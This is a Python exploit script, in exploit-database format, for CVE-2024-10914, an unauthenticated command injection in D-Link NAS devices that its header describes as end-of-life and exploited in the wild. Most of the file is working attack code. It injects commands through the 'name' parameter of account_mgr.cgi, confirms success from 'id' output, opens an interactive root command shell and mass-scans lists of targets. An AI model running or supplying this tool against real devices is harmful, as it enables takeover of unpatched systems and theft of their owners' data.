# Exploit Title: D-Link DNS_340L - OS Command Injection
# Date: 2026-07-16
# Exploit Author: Jared Brits (K3ysTr0K3R)
# Vendor Homepage: https://www.dlink.com/
# Version: DNS-320 (v1.00), DNS-320LW (v1.01.0914.2012), DNS-325 (v1.01, v1.02), DNS-340L (v1.08), and possibly others
# Tested on: D-Link DNS-320
# CVE: CVE-2024-10914
# CVSS Score: 9.8 (Critical)
# Description: The /cgi-bin/account_mgr.cgi script on several D‑Link NAS devices is vulnerable to
# unauthenticated command injection. The cgi_user_add command accepts a 'name' parameter
# that is directly concatenated into a system() call without any sanitisation.
# By injecting a semicolon‑terminated command, an attacker can execute arbitrary
# operating system commands with root privileges.
#
# Confirmed affected models include DNS‑320, DNS‑320LW, DNS‑325, and DNS‑340L.
# D‑Link has officially declared these products End of Life and will not release
# a fix for this issue. There is evidence that this vulnerability is
# already being exploited in the wild. The CVSSv3 base score is 9.8 (Critical).
import re
import requests
from rich import print
import argparse
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed
def ascii_art():
print("[bold bright_magenta] _______ ________ ___ ____ ___ __ __ _______ ____ _____ __[/bold bright_magenta]")
print("[bold bright_magenta] / ____/ | / / ____/ |__ \ / __ \__ \/ // / < / __ \/ __ < / // /[/bold bright_magenta]")
print("[bold bright_magenta] / / | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ / / // /_[/bold bright_magenta]")
print("[bold bright_magenta]/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/ / /_/ /\__, / /__ __/[/bold bright_magenta]")
print("[bold bright_magenta]\____/ |___/_____/ /____/\____/____/ /_/ /_/\____//____/_/ /_/[/bold bright_magenta]")
print("")
print("Coded By: Jared Brits (K3ysTr0K3R)")
print("")
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
payload = ["id"]
endpoint = "/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'"
headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36'}
def check_vulnerability(target):
for command in payload:
url = f"{target}{endpoint.format(command)}"
try:
response = requests.get(url, headers=headers, timeout=10, verify=False)
response.raise_for_status()
matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text)
if matcher:
print(f"[green][+] [/green]The target appears to be vulnerable")
print(f"[green][+] [/green]Response: {matcher[0]}")
return True
except requests.RequestException:
pass
def exploit(target):
session = PromptSession(
HTML("<ansicyan>Interactive Shell:</ansicyan> "),
history=InMemoryHistory(),
)
print("[blue][*] [/blue]Interactive session shell started. Type 'exit' to quit")
print("")
while True:
try:
command = session.prompt(HTML("<ansicyan>~$</ansicyan> ")).strip()
if command.lower() in ["exit", "quit"]:
print("[blue][*] [/blue]Exiting interactive session")
break
url = f"{target}{endpoint.format(command)}"
response = requests.get(url, headers=headers, timeout=10, verify=False)
if response.status_code == 200:
output = re.sub(r"Content-type:.*\n?", "", response.text).strip()
print(output)
else:
print(f"[yellow][!] [/yellow]Command failed with status code: {response.status_code}")
except KeyboardInterrupt:
print("\n[blue][*] [/blue]Exiting interactive session")
break
except requests.RequestException:
print(f"[yellow][!] [/yellow]An error occurred")
def vuln_spray(target):
for command in payload:
url = f"{target}{endpoint.format(command)}"
try:
response = requests.get(url, headers=headers, timeout=10, verify=False)
response.raise_for_status()
matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text)
if matcher:
return True
except requests.RequestException:
pass
def scan_file(file_path, threads):
with open(file_path, 'r') as file:
targets = [line.strip() for line in file if line.strip()]
with alive_bar(len(targets), title="Scanning Targets", enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(vuln_spray, target): target for target in targets}
for future in as_completed(futures):
bar()
target = futures[future]
try:
if future.result():
print(f"[green][+] [/green]Target [bright_red]{target}[/bright_red] is vulnerable")
except Exception:
pass
if __name__ == "__main__":
ascii_art()
parser = argparse.ArgumentParser(description="A PoC exploit for CVE-2024-10914 - D-Link Remote Code Execution (RCE)")
parser.add_argument("-u", "--url", help="Single target URL to test")
parser.add_argument("-f", "--file", help="File containing list of target URLs to scan")
parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads to use for scanning (default: 5)")
args = parser.parse_args()
if args.url:
print("[blue][*] [/blue]Checking if the target is vulnerable")
if check_vulnerability(args.url):
print("[blue][*] [/blue]Starting interactive session shell")
exploit(args.url)
else:
print("[red][-] [/red]Target is not vulnerable")
elif args.file:
print(f"[blue][*] [/blue]Scanning targets from file: [bright_red]{args.file}[bright_red]")
print(f"[blue][*] [/blue]Using {args.threads} threads for scanning")
scan_file(args.file, args.threads)
else:
print("[red][-] [/red]Please provide either a URL with -u or a file with -f")